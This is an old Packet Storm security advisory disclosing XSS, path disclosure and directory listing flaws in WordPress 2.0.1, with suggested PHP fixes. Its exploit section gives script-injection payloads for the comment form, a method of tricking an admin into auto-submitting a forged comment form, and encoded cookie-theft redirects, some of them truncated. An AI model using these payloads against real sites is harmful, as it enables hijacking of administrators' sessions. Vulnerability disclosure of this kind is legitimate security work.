Type packetstorm
Reporter K4P0
Modified 2006-03-03T00:00:00


[N]eo [S]ecurity [T]eam [NST]® WordPress 2.0.1 Multiple Vulnerabilities  
Program : WordPress 2.0  
Vulnerable Versions: WordPress 2.0.1 & lower ones  
Risk: Critical!  
Impact: XSS, Full Path Disclosure, Directory Listing  
-> WordPress 2.0.1 Multiple Vulnerabilities <-  
- Description  
WordPress is a state-of-the-art semantic personal publishing   
platform with a focus on aesthetics, web standards, and usability.   
What a mouthful. WordPress is both free and priceless at the same time.  
- Tested  
Tested in localhost & many blogs  
- Bug  
The vendor was contacted about some other coding errors that are not   
described here, the vendor was noticed about these bugs when this   
advisory was published.  
<+ Multiple XSS +>  
There're multiple XSS in `post comment':  
[1] `name' variable is not filtered when it's assigned to `value'  
on the `<input>' in the form when the comment it's posted.  
[2] Happends the same as [1] with `website' variable.  
[3] `comment', this variable only filtered " and ' chars, this makes   
possible to use < and >, thus this permit an attacker to inject   
any HTML (or script) code that he/she want but without any " or '   
character, this only happends if the user that post the comment it's   
the admin (any registered kind of `user').   
If you (or victim) is a unregistered user, you can use " and ' in your   
HTML/script Injection using `name' or `website' variables, but if the   
victim is the admin or a registered user these 2 fields described above   
aren't availabe in the form so you cannot even give a value to them.  
The only remaining option it's to use the `comment' variable but here   
we have the problem that we cannot use " or ' in HTML/SCRIPT Injected and   
we have to make the admin to post the comment (POST method).  
<+ Full path disclosure & Directory listing +>  
When I discovered this bug, I reported it to some pepople before   
public disclosure, I was noticed that this isn't new and I   
decided to look why they haven't patch this bug.   
As this bug it isn't patched yet, I tryed to know why and I found   
something like this in their forum (I don't know if the person   
that posted this was the admin but it gives the explanation):  
(Something like the following, it's not textual).  
`... these bugs are caused by badly configured .ini file, it's not   
a bug generated by the script so it cannot be accepted as a bug of   
WordPress...'. This is not an acceptable answer, if you think it is,   
a bug caused because of register_globals is Off it's .ini fault and not   
the script, they have to be kidding, if they want to make good software,   
they have to make as far as the language can, to prevent all bugs.  
There're multiple files that don't check if they are been call   
directly. This is a problem because they expect that functions   
that the script is going to be called to be declared.  
This kind of bug it's taken as a Low Risk bug, but it can help   
to future attacks.  
- Exploit  
-- Cross Site Scripting (XSS)  
[1] Post a comment with the following values (as unregistered user):  
(No possible profit)  
Name : "><script>alert("WordPress PoC from");</script>  
Mail :  
Website: "><script>alert("[N]eo[S]ecurity[T]eam");</script>  
The injected HTML code only affects the user that posted it, not others.  
[2] This way it's more intresting and useful.   
In this case the HTML Injected will stay in the board affecting each person   
who see it.   
But we have two problems:  
[I ]- This comment must be posted by the admin  
[II]- We only can use the `comment' field, because the admin form to make   
the comment doesn't need the `name' or `website'.  
Also the injected code cannot have any " or ' chars.  
Here are my solutions:  
[I ]- We cannot give to the admin a `malicius' URL to steal the cookie  
because it isn't via GET, it's via POST. So the solution it's to   
make a copy form of the real one and set the default values to   
the corresonding field (`comment') to make the stealing.  
Also make the form submit itself when the page loads. Thus, we give   
the admin the URL of this form and he/she will post the comment   
with the values we set before. :)  
[II]- We can only use this field to make the injection, the `big' problem   
its that we cannot use " or ' chars wich means that something like   
window.location = ""; won't work.  
Here are some real examples:  
- <script>alert(document.cookie)</script>  
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,  
- <script src=></script>  
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,  
As you can see this bug it's exploitable, it's only knowing a bit   
deeper how to do XSS under some conditions. There're more   
possibilities than described above, investigate yourself.   
-- Full path disclosure & Directory Listing  
Directory Listing:  
Full path disclosure:  
- Solutions  
<+ Cross Site Scripting (XSS) +>  
Change lines ~21 of 'wp-comments-post.php' to:  
$comment_author = htmlentities(trim($_POST['author']));  
$comment_author_email = htmlentities(trim($_POST['email']));  
$comment_author_url = htmlentities(trim($_POST['url']));  
$comment_content = htmlentities(trim($_POST['comment']));  
<+ Full Path Disclosure & Directory Listing +>  
In the first line of each vulnerable file you should write:  
if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))  
die('You are not allowed to see this page directly');  
- References  
- Credits  
Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com  
[N]eo [S]ecurity [T]eam [NST]® - #neosecurityteam  
Questions? (Eng | Spa) ->  
- Greets  
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